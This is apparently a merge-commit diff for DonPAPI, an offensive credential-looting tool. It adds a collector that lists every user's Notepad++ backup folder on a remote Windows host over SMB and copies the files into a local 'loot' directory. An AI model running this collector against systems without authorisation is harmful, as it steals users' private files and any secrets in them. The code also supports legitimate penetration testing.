Merge pull request #81 from Dfte/Add-Notepad++-collector
Add notepad++ collector
This commit is contained in:
commit
08282a06d2
|
@ -7,11 +7,11 @@ from donpapi.core import DonPAPICore
|
||||||
from donpapi.lib.logger import DonPAPIAdapter
|
from donpapi.lib.logger import DonPAPIAdapter
|
||||||
|
|
||||||
|
|
||||||
TAG = "PowerShellHistory"
|
TAG = "NotepadPP"
|
||||||
|
|
||||||
class PowerShellHistoryDump:
|
class NotepadPPDump:
|
||||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||||
user_directories = ["\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"]
|
user_directories = ["Users\\{username}\\AppData\\Roaming\\Notepad++\\backup\\"]
|
||||||
max_filesize = 5000000
|
max_filesize = 5000000
|
||||||
|
|
||||||
def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list, options: Any, logger: DonPAPIAdapter, context: DonPAPICore) -> None:
|
def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list, options: Any, logger: DonPAPIAdapter, context: DonPAPICore) -> None:
|
||||||
|
@ -25,12 +25,12 @@ class PowerShellHistoryDump:
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
|
|
||||||
self.logger.display("Gathering powershell history files")
|
self.logger.display("Gathering notepad++ backup files")
|
||||||
for user in self.context.users:
|
for user in self.context.users:
|
||||||
for directory in self.user_directories:
|
for directory in self.user_directories:
|
||||||
directory_path = directory.format(username=user)
|
directory_path = directory.format(username=user)
|
||||||
self.dig_files(directory_path=directory_path, recurse_level=0, recurse_max=10)
|
self.dig_files(directory_path=directory_path, recurse_level=0, recurse_max=10)
|
||||||
self.logger.secret(f"Found {self.found} powershell history files", TAG)
|
self.logger.secret(f"Found {self.found} notepad++ backup files", TAG)
|
||||||
|
|
||||||
def dig_files(self, directory_path, recurse_level=0, recurse_max=10):
|
def dig_files(self, directory_path, recurse_level=0, recurse_max=10):
|
||||||
directory_list = self.conn.remote_list_dir(self.context.share, directory_path)
|
directory_list = self.conn.remote_list_dir(self.context.share, directory_path)
|
||||||
|
@ -48,10 +48,10 @@ class PowerShellHistoryDump:
|
||||||
file_content = b""
|
file_content = b""
|
||||||
f.write(file_content)
|
f.write(file_content)
|
||||||
|
|
||||||
# Stores files in loot\PowerShellHistory
|
# Stores files in loot\NotepadPP
|
||||||
os.makedirs(f"{self.context.output_dir}/../PowerShellHistory", exist_ok=True)
|
os.makedirs(f"{self.context.output_dir}/../NotepadPP", exist_ok=True)
|
||||||
local_filepath = os.path.join(
|
local_filepath = os.path.join(
|
||||||
f"{self.context.output_dir}/../PowerShellHistory",
|
f"{self.context.output_dir}/../NotepadPP",
|
||||||
f"{item.get_longname()}-{self.found}"
|
f"{item.get_longname()}-{self.found}"
|
||||||
)
|
)
|
||||||
with open(local_filepath, "wb") as f:
|
with open(local_filepath, "wb") as f:
|
|
@ -40,6 +40,7 @@ from donpapi.collectors.recent_files import FilesDump, TAG as FilesTag
|
||||||
from donpapi.collectors.sccm import SCCMDump, TAG as SCCMTag
|
from donpapi.collectors.sccm import SCCMDump, TAG as SCCMTag
|
||||||
from donpapi.collectors.mremoteng import MRemoteNgDump, TAG as MRemoteNgTag
|
from donpapi.collectors.mremoteng import MRemoteNgDump, TAG as MRemoteNgTag
|
||||||
from donpapi.collectors.vnc import VNCDump, TAG as VNCTag
|
from donpapi.collectors.vnc import VNCDump, TAG as VNCTag
|
||||||
|
from donpapi.collectors.notepadpp import NotepadPPDump, TAG as NotepadPPTag
|
||||||
from donpapi.collectors.powershellhistory import PowerShellHistoryDump, TAG as PowerShellHistoryTag
|
from donpapi.collectors.powershellhistory import PowerShellHistoryDump, TAG as PowerShellHistoryTag
|
||||||
from donpapi.lib.config import DonPAPIConfig, parse_config_file
|
from donpapi.lib.config import DonPAPIConfig, parse_config_file
|
||||||
from donpapi.lib.database import Database, create_db_engine
|
from donpapi.lib.database import Database, create_db_engine
|
||||||
|
@ -63,7 +64,8 @@ COLLECTORS_LIST = {
|
||||||
VaultsTag: VaultsDump,
|
VaultsTag: VaultsDump,
|
||||||
VNCTag: VNCDump,
|
VNCTag: VNCDump,
|
||||||
WifiTag: WifiDump,
|
WifiTag: WifiDump,
|
||||||
PowerShellHistoryTag: PowerShellHistoryDump
|
PowerShellHistoryTag: PowerShellHistoryDump,
|
||||||
|
NotepadPPTag: NotepadPPDump
|
||||||
}
|
}
|
||||||
|
|
||||||
def set_main_logger(logger , host = "\U0001F480"):
|
def set_main_logger(logger , host = "\U0001F480"):
|
||||||
|
|
Loading…
Reference in New Issue